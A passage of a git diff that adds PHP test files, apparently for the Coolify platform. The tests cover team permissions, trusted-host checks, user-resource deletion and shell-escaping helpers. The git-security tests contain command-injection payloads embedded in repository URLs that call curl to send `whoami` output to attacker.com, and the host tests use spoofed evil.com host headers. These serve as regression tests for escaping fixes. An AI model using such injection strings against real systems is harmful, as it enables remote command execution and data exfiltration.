['role' => 'owner']); + $this->team->members()->attach($this->admin->id, ['role' => 'admin']); + $this->team->members()->attach($this->member->id, ['role' => 'member']); +}); + +describe('update permission', function () { + test('owner can update team', function () { + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + expect($this->owner->can('update', $this->team))->toBeTrue(); + }); + + test('admin can update team', function () { + $this->actingAs($this->admin); + session(['currentTeam' => $this->team]); + expect($this->admin->can('update', $this->team))->toBeTrue(); + }); + + test('member cannot update team', function () { + $this->actingAs($this->member); + session(['currentTeam' => $this->team]); + expect($this->member->can('update', $this->team))->toBeFalse(); + }); + + test('non-team member cannot update team', function () { + $outsider = User::factory()->create(); + $this->actingAs($outsider); + session(['currentTeam' => $this->team]); + expect($outsider->can('update', $this->team))->toBeFalse(); + }); +}); + +describe('delete permission', function () { + test('owner can delete team', function () { + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + expect($this->owner->can('delete', $this->team))->toBeTrue(); + }); + + test('admin can delete team', function () { + $this->actingAs($this->admin); + session(['currentTeam' => $this->team]); + expect($this->admin->can('delete', $this->team))->toBeTrue(); + }); + + test('member cannot delete team', function () { + $this->actingAs($this->member); + session(['currentTeam' => $this->team]); + expect($this->member->can('delete', $this->team))->toBeFalse(); + }); + + test('non-team member cannot delete team', function () { + $outsider = User::factory()->create(); + $this->actingAs($outsider); + session(['currentTeam' => $this->team]); + expect($outsider->can('delete', $this->team))->toBeFalse(); + }); +}); + +describe('manageMembers permission', function () { + test('owner can manage members', function () { + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + expect($this->owner->can('manageMembers', $this->team))->toBeTrue(); + }); + + test('admin can manage members', function () { + $this->actingAs($this->admin); + session(['currentTeam' => $this->team]); + expect($this->admin->can('manageMembers', $this->team))->toBeTrue(); + }); + + test('member cannot manage members', function () { + $this->actingAs($this->member); + session(['currentTeam' => $this->team]); + expect($this->member->can('manageMembers', $this->team))->toBeFalse(); + }); + + test('non-team member cannot manage members', function () { + $outsider = User::factory()->create(); + $this->actingAs($outsider); + session(['currentTeam' => $this->team]); + expect($outsider->can('manageMembers', $this->team))->toBeFalse(); + }); +}); + +describe('viewAdmin permission', function () { + test('owner can view admin panel', function () { + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + expect($this->owner->can('viewAdmin', $this->team))->toBeTrue(); + }); + + test('admin can view admin panel', function () { + $this->actingAs($this->admin); + session(['currentTeam' => $this->team]); + expect($this->admin->can('viewAdmin', $this->team))->toBeTrue(); + }); + + test('member cannot view admin panel', function () { + $this->actingAs($this->member); + session(['currentTeam' => $this->team]); + expect($this->member->can('viewAdmin', $this->team))->toBeFalse(); + }); + + test('non-team member cannot view admin panel', function () { + $outsider = User::factory()->create(); + $this->actingAs($outsider); + session(['currentTeam' => $this->team]); + expect($outsider->can('viewAdmin', $this->team))->toBeFalse(); + }); +}); + +describe('manageInvitations permission (privilege escalation fix)', function () { + test('owner can manage invitations', function () { + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + expect($this->owner->can('manageInvitations', $this->team))->toBeTrue(); + }); + + test('admin can manage invitations', function () { + $this->actingAs($this->admin); + session(['currentTeam' => $this->team]); + expect($this->admin->can('manageInvitations', $this->team))->toBeTrue(); + }); + + test('member cannot manage invitations (SECURITY FIX)', function () { + // This test verifies the privilege escalation vulnerability is fixed + // Previously, members could see and manage admin invitations + $this->actingAs($this->member); + session(['currentTeam' => $this->team]); + expect($this->member->can('manageInvitations', $this->team))->toBeFalse(); + }); + + test('non-team member cannot manage invitations', function () { + $outsider = User::factory()->create(); + $this->actingAs($outsider); + session(['currentTeam' => $this->team]); + expect($outsider->can('manageInvitations', $this->team))->toBeFalse(); + }); +}); + +describe('view permission', function () { + test('owner can view team', function () { + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + expect($this->owner->can('view', $this->team))->toBeTrue(); + }); + + test('admin can view team', function () { + $this->actingAs($this->admin); + session(['currentTeam' => $this->team]); + expect($this->admin->can('view', $this->team))->toBeTrue(); + }); + + test('member can view team', function () { + $this->actingAs($this->member); + session(['currentTeam' => $this->team]); + expect($this->member->can('view', $this->team))->toBeTrue(); + }); + + test('non-team member cannot view team', function () { + $outsider = User::factory()->create(); + $this->actingAs($outsider); + session(['currentTeam' => $this->team]); + expect($outsider->can('view', $this->team))->toBeFalse(); + }); +}); diff --git a/tests/Feature/TrustHostsMiddlewareTest.php b/tests/Feature/TrustHostsMiddlewareTest.php new file mode 100644 index 000000000..f875a235e --- /dev/null +++ b/tests/Feature/TrustHostsMiddlewareTest.php @@ -0,0 +1,229 @@ + 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('coolify.example.com'); +}); + +it('rejects password reset request with malicious host header', function () { + // Set up instance settings with legitimate FQDN + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + // The malicious host should NOT be in the trusted hosts + expect($hosts)->not->toContain('coolify.example.com.evil.com'); + expect($hosts)->toContain('coolify.example.com'); +}); + +it('handles missing FQDN gracefully', function () { + // Create instance settings without FQDN + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => null] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + // Should still return APP_URL pattern without throwing + expect($hosts)->not->toBeEmpty(); +}); + +it('filters out null and empty values from trusted hosts', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => ''] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + // Should not contain empty strings or null + foreach ($hosts as $host) { + if ($host !== null) { + expect($host)->not->toBeEmpty(); + } + } +}); + +it('extracts host from FQDN with protocol and port', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com:8443'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('coolify.example.com'); +}); + +it('handles exception during InstanceSettings fetch', function () { + // Drop the instance_settings table to simulate installation + \Schema::dropIfExists('instance_settings'); + + $middleware = new TrustHosts($this->app); + + // Should not throw an exception + $hosts = $middleware->hosts(); + + expect($hosts)->not->toBeEmpty(); +}); + +it('trusts IP addresses with port', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'http://65.21.3.91:8000'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('65.21.3.91'); +}); + +it('trusts IP addresses without port', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'http://192.168.1.100'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('192.168.1.100'); +}); + +it('rejects malicious host when using IP address', function () { + // Simulate an instance using IP address + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'http://65.21.3.91:8000'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + // The malicious host attempting to mimic the IP should NOT be trusted + expect($hosts)->not->toContain('65.21.3.91.evil.com'); + expect($hosts)->not->toContain('evil.com'); + expect($hosts)->toContain('65.21.3.91'); +}); + +it('trusts IPv6 addresses', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'http://[2001:db8::1]:8000'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + // IPv6 addresses are enclosed in brackets, getHost() should handle this + expect($hosts)->toContain('[2001:db8::1]'); +}); + +it('invalidates cache when FQDN is updated', function () { + // Set initial FQDN + $settings = InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://old-domain.com'] + ); + + // First call should cache it + $middleware = new TrustHosts($this->app); + $hosts1 = $middleware->hosts(); + expect($hosts1)->toContain('old-domain.com'); + + // Verify cache exists + expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue(); + + // Update FQDN - should trigger cache invalidation + $settings->fqdn = 'https://new-domain.com'; + $settings->save(); + + // Cache should be cleared + expect(Cache::has('instance_settings_fqdn_host'))->toBeFalse(); + + // New call should return updated host + $middleware2 = new TrustHosts($this->app); + $hosts2 = $middleware2->hosts(); + expect($hosts2)->toContain('new-domain.com'); + expect($hosts2)->not->toContain('old-domain.com'); +}); + +it('caches trusted hosts to avoid database queries on every request', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + // Clear cache first + Cache::forget('instance_settings_fqdn_host'); + + // First call - should query database and cache result + $middleware1 = new TrustHosts($this->app); + $hosts1 = $middleware1->hosts(); + + // Verify result is cached + expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue(); + expect(Cache::get('instance_settings_fqdn_host'))->toBe('coolify.example.com'); + + // Subsequent calls should use cache (no DB query) + $middleware2 = new TrustHosts($this->app); + $hosts2 = $middleware2->hosts(); + + expect($hosts1)->toBe($hosts2); + expect($hosts2)->toContain('coolify.example.com'); +}); + +it('caches negative results when no FQDN is configured', function () { + // Create instance settings without FQDN + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => null] + ); + + // Clear cache first + Cache::forget('instance_settings_fqdn_host'); + + // First call - should query database and cache empty string sentinel + $middleware1 = new TrustHosts($this->app); + $hosts1 = $middleware1->hosts(); + + // Verify empty string sentinel is cached (not null, which wouldn't be cached) + expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue(); + expect(Cache::get('instance_settings_fqdn_host'))->toBe(''); + + // Subsequent calls should use cached sentinel value + $middleware2 = new TrustHosts($this->app); + $hosts2 = $middleware2->hosts(); + + expect($hosts1)->toBe($hosts2); + // Should only contain APP_URL pattern, not any FQDN + expect($hosts2)->not->toBeEmpty(); +}); diff --git a/tests/Unit/Actions/User/DeleteUserResourcesTest.php b/tests/Unit/Actions/User/DeleteUserResourcesTest.php new file mode 100644 index 000000000..3a623fee6 --- /dev/null +++ b/tests/Unit/Actions/User/DeleteUserResourcesTest.php @@ -0,0 +1,182 @@ +user = Mockery::mock(User::class); + $this->user->shouldReceive('getAttribute')->with('id')->andReturn(1); + $this->user->shouldReceive('getAttribute')->with('email')->andReturn('test@example.com'); +}); + +afterEach(function () { + Mockery::close(); +}); + +it('only collects resources from teams where user is the sole member', function () { + // Mock owned team where user is the ONLY member (will be deleted) + $ownedTeamPivot = (object) ['role' => 'owner']; + $ownedTeam = Mockery::mock(Team::class); + $ownedTeam->shouldReceive('getAttribute')->with('id')->andReturn(1); + $ownedTeam->shouldReceive('getAttribute')->with('pivot')->andReturn($ownedTeamPivot); + $ownedTeam->shouldReceive('getAttribute')->with('members')->andReturn(collect([$this->user])); + $ownedTeam->shouldReceive('setAttribute')->andReturnSelf(); + $ownedTeam->pivot = $ownedTeamPivot; + $ownedTeam->members = collect([$this->user]); + + // Mock member team (user is NOT owner) + $memberTeamPivot = (object) ['role' => 'member']; + $memberTeam = Mockery::mock(Team::class); + $memberTeam->shouldReceive('getAttribute')->with('id')->andReturn(2); + $memberTeam->shouldReceive('getAttribute')->with('pivot')->andReturn($memberTeamPivot); + $memberTeam->shouldReceive('getAttribute')->with('members')->andReturn(collect([$this->user])); + $memberTeam->shouldReceive('setAttribute')->andReturnSelf(); + $memberTeam->pivot = $memberTeamPivot; + $memberTeam->members = collect([$this->user]); + + // Mock servers for owned team + $ownedServer = Mockery::mock(Server::class); + $ownedServer->shouldReceive('applications')->andReturn(collect([ + (object) ['id' => 1, 'name' => 'app1'], + ])); + $ownedServer->shouldReceive('databases')->andReturn(collect([ + (object) ['id' => 1, 'name' => 'db1'], + ])); + $ownedServer->shouldReceive('services->get')->andReturn(collect([ + (object) ['id' => 1, 'name' => 'service1'], + ])); + + // Mock teams relationship + $teamsRelation = Mockery::mock(); + $teamsRelation->shouldReceive('get')->andReturn(collect([$ownedTeam, $memberTeam])); + $this->user->shouldReceive('teams')->andReturn($teamsRelation); + + // Mock servers relationship for owned team + $ownedServersRelation = Mockery::mock(); + $ownedServersRelation->shouldReceive('get')->andReturn(collect([$ownedServer])); + $ownedTeam->shouldReceive('servers')->andReturn($ownedServersRelation); + + // Execute + $action = new DeleteUserResources($this->user, true); + $preview = $action->getResourcesPreview(); + + // Assert: Should only include resources from owned team where user is sole member + expect($preview['applications'])->toHaveCount(1); + expect($preview['applications']->first()->id)->toBe(1); + expect($preview['applications']->first()->name)->toBe('app1'); + + expect($preview['databases'])->toHaveCount(1); + expect($preview['databases']->first()->id)->toBe(1); + + expect($preview['services'])->toHaveCount(1); + expect($preview['services']->first()->id)->toBe(1); +}); + +it('does not collect resources when user is owner but team has other members', function () { + // Mock owned team with multiple members (will be transferred, not deleted) + $otherUser = Mockery::mock(User::class); + $otherUser->shouldReceive('getAttribute')->with('id')->andReturn(2); + + $ownedTeamPivot = (object) ['role' => 'owner']; + $ownedTeam = Mockery::mock(Team::class); + $ownedTeam->shouldReceive('getAttribute')->with('id')->andReturn(1); + $ownedTeam->shouldReceive('getAttribute')->with('pivot')->andReturn($ownedTeamPivot); + $ownedTeam->shouldReceive('getAttribute')->with('members')->andReturn(collect([$this->user, $otherUser])); + $ownedTeam->shouldReceive('setAttribute')->andReturnSelf(); + $ownedTeam->pivot = $ownedTeamPivot; + $ownedTeam->members = collect([$this->user, $otherUser]); + + // Mock teams relationship + $teamsRelation = Mockery::mock(); + $teamsRelation->shouldReceive('get')->andReturn(collect([$ownedTeam])); + $this->user->shouldReceive('teams')->andReturn($teamsRelation); + + // Execute + $action = new DeleteUserResources($this->user, true); + $preview = $action->getResourcesPreview(); + + // Assert: Should have no resources (team will be transferred, not deleted) + expect($preview['applications'])->toBeEmpty(); + expect($preview['databases'])->toBeEmpty(); + expect($preview['services'])->toBeEmpty(); +}); + +it('does not collect resources when user is only a member of teams', function () { + // Mock member team (user is NOT owner) + $memberTeamPivot = (object) ['role' => 'member']; + $memberTeam = Mockery::mock(Team::class); + $memberTeam->shouldReceive('getAttribute')->with('id')->andReturn(1); + $memberTeam->shouldReceive('getAttribute')->with('pivot')->andReturn($memberTeamPivot); + $memberTeam->shouldReceive('getAttribute')->with('members')->andReturn(collect([$this->user])); + $memberTeam->shouldReceive('setAttribute')->andReturnSelf(); + $memberTeam->pivot = $memberTeamPivot; + $memberTeam->members = collect([$this->user]); + + // Mock teams relationship + $teamsRelation = Mockery::mock(); + $teamsRelation->shouldReceive('get')->andReturn(collect([$memberTeam])); + $this->user->shouldReceive('teams')->andReturn($teamsRelation); + + // Execute + $action = new DeleteUserResources($this->user, true); + $preview = $action->getResourcesPreview(); + + // Assert: Should have no resources + expect($preview['applications'])->toBeEmpty(); + expect($preview['databases'])->toBeEmpty(); + expect($preview['services'])->toBeEmpty(); +}); + +it('collects resources only from teams where user is sole member', function () { + // Mock first team: user is sole member (will be deleted) + $ownedTeam1Pivot = (object) ['role' => 'owner']; + $ownedTeam1 = Mockery::mock(Team::class); + $ownedTeam1->shouldReceive('getAttribute')->with('id')->andReturn(1); + $ownedTeam1->shouldReceive('getAttribute')->with('pivot')->andReturn($ownedTeam1Pivot); + $ownedTeam1->shouldReceive('getAttribute')->with('members')->andReturn(collect([$this->user])); + $ownedTeam1->shouldReceive('setAttribute')->andReturnSelf(); + $ownedTeam1->pivot = $ownedTeam1Pivot; + $ownedTeam1->members = collect([$this->user]); + + // Mock second team: user is owner but has other members (will be transferred) + $otherUser = Mockery::mock(User::class); + $otherUser->shouldReceive('getAttribute')->with('id')->andReturn(2); + + $ownedTeam2Pivot = (object) ['role' => 'owner']; + $ownedTeam2 = Mockery::mock(Team::class); + $ownedTeam2->shouldReceive('getAttribute')->with('id')->andReturn(2); + $ownedTeam2->shouldReceive('getAttribute')->with('pivot')->andReturn($ownedTeam2Pivot); + $ownedTeam2->shouldReceive('getAttribute')->with('members')->andReturn(collect([$this->user, $otherUser])); + $ownedTeam2->shouldReceive('setAttribute')->andReturnSelf(); + $ownedTeam2->pivot = $ownedTeam2Pivot; + $ownedTeam2->members = collect([$this->user, $otherUser]); + + // Mock server for team 1 (sole member - will be deleted) + $server1 = Mockery::mock(Server::class); + $server1->shouldReceive('applications')->andReturn(collect([ + (object) ['id' => 1, 'name' => 'app1'], + ])); + $server1->shouldReceive('databases')->andReturn(collect([])); + $server1->shouldReceive('services->get')->andReturn(collect([])); + + // Mock teams relationship + $teamsRelation = Mockery::mock(); + $teamsRelation->shouldReceive('get')->andReturn(collect([$ownedTeam1, $ownedTeam2])); + $this->user->shouldReceive('teams')->andReturn($teamsRelation); + + // Mock servers for team 1 + $servers1Relation = Mockery::mock(); + $servers1Relation->shouldReceive('get')->andReturn(collect([$server1])); + $ownedTeam1->shouldReceive('servers')->andReturn($servers1Relation); + + // Execute + $action = new DeleteUserResources($this->user, true); + $preview = $action->getResourcesPreview(); + + // Assert: Should only include resources from team 1 (sole member) + expect($preview['applications'])->toHaveCount(1); + expect($preview['applications']->first()->id)->toBe(1); +}); diff --git a/tests/Unit/ApplicationGitSecurityTest.php b/tests/Unit/ApplicationGitSecurityTest.php new file mode 100644 index 000000000..3603b18db --- /dev/null +++ b/tests/Unit/ApplicationGitSecurityTest.php @@ -0,0 +1,101 @@ +makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('deploy_key'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => $maliciousRepo, + 'port' => 22, + ]); + + // Mock private key + $privateKey = Mockery::mock(PrivateKey::class)->makePartial(); + $privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key'); + $application->shouldReceive('getAttribute')->with('private_key')->andReturn($privateKey); + + // Act: Generate git ls-remote commands + $result = $application->generateGitLsRemoteCommands($deploymentUuid, true); + + // Assert: The command should contain escaped repository URL + expect($result)->toHaveKey('commands'); + $command = $result['commands']; + + // The malicious payload should be escaped and not executed + expect($command)->toContain("'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'"); + + // The command should NOT contain unescaped semicolons or backticks that could execute + expect($command)->not->toContain('repo.git;curl'); +}); + +it('escapes malicious repository URLs in source type with public repo', function () { + // Arrange: Create a malicious repository name + $maliciousRepo = "user/repo';curl https://attacker.com/"; + $deploymentUuid = 'test-deployment-uuid'; + + // Mock the application + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('source'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => $maliciousRepo, + 'port' => 22, + ]); + + // Mock GithubApp source + $source = Mockery::mock(GithubApp::class)->makePartial(); + $source->shouldReceive('getAttribute')->with('html_url')->andReturn('https://github.com'); + $source->shouldReceive('getAttribute')->with('is_public')->andReturn(true); + $source->shouldReceive('getMorphClass')->andReturn('App\Models\GithubApp'); + + $application->shouldReceive('getAttribute')->with('source')->andReturn($source); + $application->source = $source; + + // Act: Generate git ls-remote commands + $result = $application->generateGitLsRemoteCommands($deploymentUuid, true); + + // Assert: The command should contain escaped repository URL + expect($result)->toHaveKey('commands'); + $command = $result['commands']; + + // The command should contain the escaped URL (escapeshellarg wraps in single quotes) + expect($command)->toContain("'https://github.com/user/repo'\\''"); +}); + +it('escapes repository URLs in other deployment type', function () { + // Arrange: Create a malicious repository URL + $maliciousRepo = "https://github.com/user/repo.git';curl https://attacker.com/"; + $deploymentUuid = 'test-deployment-uuid'; + + // Mock the application + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('other'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => $maliciousRepo, + 'port' => 22, + ]); + + // Act: Generate git ls-remote commands + $result = $application->generateGitLsRemoteCommands($deploymentUuid, true); + + // Assert: The command should contain escaped repository URL + expect($result)->toHaveKey('commands'); + $command = $result['commands']; + + // The malicious payload should be escaped (escapeshellarg wraps and escapes quotes) + expect($command)->toContain("'https://github.com/user/repo.git'\\''"); +}); diff --git a/tests/Unit/BashEnvEscapingTest.php b/tests/Unit/BashEnvEscapingTest.php new file mode 100644 index 000000000..7b81c041e --- /dev/null +++ b/tests/Unit/BashEnvEscapingTest.php @@ -0,0 +1,307 @@ +toBe("'simple_value'"); +}); + +test('escapeBashEnvValue handles special bash characters', function () { + $specialChars = [ + '$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$', + '#*#&412)$&#*!%)!@&#)*~@!&$)@*#%^)*@#!)#@~321', + 'value with spaces and $variables', + 'value with `backticks`', + 'value with "double quotes"', + 'value|with|pipes', + 'value;with;semicolons', + 'value&with&ersands', + 'value(with)parentheses', + 'value{with}braces', + 'value[with]brackets', + 'valueangles', + 'value*with*asterisks', + 'value?with?questions', + 'value!with!exclamations', + 'value~with~tildes', + 'value^with^carets', + 'value%with%percents', + 'value@with@ats', + 'value#with#hashes', + ]; + + foreach ($specialChars as $value) { + $result = escapeBashEnvValue($value); + + // Should be wrapped in single quotes + expect($result)->toStartWith("'"); + expect($result)->toEndWith("'"); + + // Should contain the original value (or escaped version) + expect($result)->toContain($value); + } +}); + +test('escapeBashEnvValue escapes single quotes correctly', function () { + // Single quotes in bash single-quoted strings must be escaped as '\'' + $value = "it's a value with 'single quotes'"; + $result = escapeBashEnvValue($value); + + // The result should replace ' with '\'' + expect($result)->toBe("'it'\\''s a value with '\\''single quotes'\\'''"); +}); + +test('escapeBashEnvValue handles empty values', function () { + $result = escapeBashEnvValue(''); + expect($result)->toBe("''"); +}); + +test('escapeBashEnvValue handles null values', function () { + $result = escapeBashEnvValue(null); + expect($result)->toBe("''"); +}); + +test('escapeBashEnvValue handles values with only special characters', function () { + $value = '$#@!*&^%()[]{}|;~`?"<>'; + $result = escapeBashEnvValue($value); + + // Should be wrapped and contain all special characters + expect($result)->toBe("'{$value}'"); +}); + +test('escapeBashEnvValue handles multiline values', function () { + $value = "line1\nline2\nline3"; + $result = escapeBashEnvValue($value); + + // Should preserve newlines + expect($result)->toContain("\n"); + expect($result)->toStartWith("'"); + expect($result)->toEndWith("'"); +}); + +test('escapeBashEnvValue handles values from user example', function () { + $literal = '$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$'; + $weird = '#*#&412)$&#*!%)!@&#)*~@!&$)@*#%^)*@#!)#@~321'; + + $escapedLiteral = escapeBashEnvValue($literal); + $escapedWeird = escapeBashEnvValue($weird); + + // These should be safely wrapped in single quotes + expect($escapedLiteral)->toBe("'{$literal}'"); + expect($escapedWeird)->toBe("'{$weird}'"); + + // Test that when written to a file and sourced, they would work + // Format: KEY=VALUE + $envLine1 = "literal={$escapedLiteral}"; + $envLine2 = "weird={$escapedWeird}"; + + // These should be valid bash assignment statements + expect($envLine1)->toStartWith('literal='); + expect($envLine2)->toStartWith('weird='); +}); + +test('escapeBashEnvValue handles backslashes', function () { + $value = 'path\\to\\file'; + $result = escapeBashEnvValue($value); + + // Backslashes should be preserved in single quotes + expect($result)->toBe("'{$value}'"); + expect($result)->toContain('\\'); +}); + +test('escapeBashEnvValue handles dollar signs correctly', function () { + $value = '$HOME and $PATH'; + $result = escapeBashEnvValue($value); + + // Dollar signs should NOT be expanded in single quotes + expect($result)->toBe("'{$value}'"); + expect($result)->toContain('$HOME'); + expect($result)->toContain('$PATH'); +}); + +test('escapeBashEnvValue handles complex combination of special characters and single quotes', function () { + $value = "it's \$weird with 'quotes' and \$variables"; + $result = escapeBashEnvValue($value); + + // Should escape the single quotes + expect($result)->toContain("'\\''"); + // Should contain the dollar signs without expansion + expect($result)->toContain('$weird'); + expect($result)->toContain('$variables'); +}); + +test('stripping quotes from real_value before escaping (literal/multiline simulation)', function () { + // Simulate what happens with literal/multiline env vars + // Their real_value comes back wrapped in quotes: 'value' + $realValueWithQuotes = "'it's a value with 'quotes''"; + + // Strip outer quotes + $stripped = trim($realValueWithQuotes, "'"); + expect($stripped)->toBe("it's a value with 'quotes"); + + // Then apply bash escaping + $result = escapeBashEnvValue($stripped); + + // Should properly escape the internal single quotes + expect($result)->toContain("'\\''"); + // Should start and end with quotes + expect($result)->toStartWith("'"); + expect($result)->toEndWith("'"); +}); + +test('handling literal env with special bash characters', function () { + // Simulate literal/multiline env with special characters + $realValueWithQuotes = "'#*#&412)\$&#*!%)!@&#)*~@!\&\$)@*#%^)*@#!)#@~321'"; + + // Strip outer quotes + $stripped = trim($realValueWithQuotes, "'"); + + // Apply bash escaping + $result = escapeBashEnvValue($stripped); + + // Should be properly quoted for bash + expect($result)->toStartWith("'"); + expect($result)->toEndWith("'"); + // Should contain all the special characters + expect($result)->toContain('#*#&412)'); + expect($result)->toContain('$&#*!%'); +}); + +// ==================== Tests for escapeBashDoubleQuoted() ==================== + +test('escapeBashDoubleQuoted wraps simple values in double quotes', function () { + $result = escapeBashDoubleQuoted('simple_value'); + expect($result)->toBe('"simple_value"'); +}); + +test('escapeBashDoubleQuoted handles null values', function () { + $result = escapeBashDoubleQuoted(null); + expect($result)->toBe('""'); +}); + +test('escapeBashDoubleQuoted handles empty values', function () { + $result = escapeBashDoubleQuoted(''); + expect($result)->toBe('""'); +}); + +test('escapeBashDoubleQuoted preserves valid variable references', function () { + $value = '$SOURCE_COMMIT'; + $result = escapeBashDoubleQuoted($value); + + // Should preserve $SOURCE_COMMIT for expansion + expect($result)->toBe('"$SOURCE_COMMIT"'); + expect($result)->toContain('$SOURCE_COMMIT'); +}); + +test('escapeBashDoubleQuoted preserves multiple variable references', function () { + $value = '$VAR1 and $VAR2 and $VAR_NAME_3'; + $result = escapeBashDoubleQuoted($value); + + // All valid variables should be preserved + expect($result)->toBe('"$VAR1 and $VAR2 and $VAR_NAME_3"'); +}); + +test('escapeBashDoubleQuoted preserves brace expansion variables', function () { + $value = '${SOURCE_COMMIT} and ${VAR_NAME}'; + $result = escapeBashDoubleQuoted($value); + + // Brace variables should be preserved + expect($result)->toBe('"${SOURCE_COMMIT} and ${VAR_NAME}"'); +}); + +test('escapeBashDoubleQuoted escapes invalid dollar patterns', function () { + // Invalid patterns: $&, $#, $$, $*, $@, $!, etc. + $value = '$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$'; + $result = escapeBashDoubleQuoted($value); + + // Invalid $ should be escaped + expect($result)->toContain('\\$&#'); + expect($result)->toContain('\\$&@'); + expect($result)->toContain('\\$#@'); + // Should be wrapped in double quotes + expect($result)->toStartWith('"'); + expect($result)->toEndWith('"'); +}); + +test('escapeBashDoubleQuoted handles mixed valid and invalid dollar signs', function () { + $value = '$SOURCE_COMMIT and $&#invalid'; + $result = escapeBashDoubleQuoted($value); + + // Valid variable preserved, invalid $ escaped + expect($result)->toBe('"$SOURCE_COMMIT and \\$&#invalid"'); +}); + +test('escapeBashDoubleQuoted escapes double quotes', function () { + $value = 'value with "double quotes"'; + $result = escapeBashDoubleQuoted($value); + + // Double quotes should be escaped + expect($result)->toBe('"value with \\"double quotes\\""'); +}); + +test('escapeBashDoubleQuoted escapes backticks', function () { + $value = 'value with `backticks`'; + $result = escapeBashDoubleQuoted($value); + + // Backticks should be escaped (prevents command substitution) + expect($result)->toBe('"value with \\`backticks\\`"'); +}); + +test('escapeBashDoubleQuoted escapes backslashes', function () { + $value = 'path\\to\\file'; + $result = escapeBashDoubleQuoted($value); + + // Backslashes should be escaped + expect($result)->toBe('"path\\\\to\\\\file"'); +}); + +test('escapeBashDoubleQuoted handles positional parameters', function () { + $value = 'args: $0 $1 $2 $9'; + $result = escapeBashDoubleQuoted($value); + + // Positional parameters should be preserved + expect($result)->toBe('"args: $0 $1 $2 $9"'); +}); + +test('escapeBashDoubleQuoted handles special variable $_', function () { + $value = 'last arg: $_'; + $result = escapeBashDoubleQuoted($value); + + // $_ should be preserved + expect($result)->toBe('"last arg: $_"'); +}); + +test('escapeBashDoubleQuoted handles complex real-world scenario', function () { + // Mix of valid vars, invalid $, quotes, and special chars + $value = '$SOURCE_COMMIT with $&#special and "quotes" and `cmd`'; + $result = escapeBashDoubleQuoted($value); + + // Valid var preserved, invalid $ escaped, quotes/backticks escaped + expect($result)->toBe('"$SOURCE_COMMIT with \\$&#special and \\"quotes\\" and \\`cmd\\`"'); +}); + +test('escapeBashDoubleQuoted allows expansion in bash', function () { + // This is a logical test - the actual expansion happens in bash + // We're verifying the format is correct + $value = '$SOURCE_COMMIT'; + $result = escapeBashDoubleQuoted($value); + + // Should be: "$SOURCE_COMMIT" which bash will expand + expect($result)->toBe('"$SOURCE_COMMIT"'); + expect($result)->not->toContain('\\$SOURCE'); +}); + +test('comparison between single and double quote escaping', function () { + $value = '$SOURCE_COMMIT'; + + $singleQuoted = escapeBashEnvValue($value); + $doubleQuoted = escapeBashDoubleQuoted($value); + + // Single quotes prevent expansion + expect($singleQuoted)->toBe("'\$SOURCE_COMMIT'"); + + // Double quotes allow expansion + expect($doubleQuoted)->toBe('"$SOURCE_COMMIT"'); + + // They're different! + expect($singleQuoted)->not->toBe($doubleQuoted); +}); diff --git a/tests/Unit/CloudInitScriptValidationTest.php b/tests/Unit/CloudInitScriptValidationTest.php new file mode 100644 index 000000000..bb4657502 --- /dev/null +++ b/tests/Unit/CloudInitScriptValidationTest.php @@ -0,0 +1,76 @@ +toBeFalse() + ->and($hasValue)->toBeFalse(); +}); + +it('validates cloud-init script name is required when saving', function () { + $saveScript = true; + $scriptName = 'My Installation Script'; + + $isNameRequired = $saveScript; + $hasName = ! empty($scriptName); + + expect($isNameRequired)->toBeTrue() + ->and($hasName)->toBeTrue(); +}); + +it('validates cloud-init script description is optional', function () { + $scriptDescription = null; + + $isDescriptionRequired = false; + $hasDescription = ! empty($scriptDescription); + + expect($isDescriptionRequired)->toBeFalse() + ->and($hasDescription)->toBeFalse(); +}); + +it('validates save_cloud_init_script must be boolean', function () { + $saveCloudInitScript = true; + + 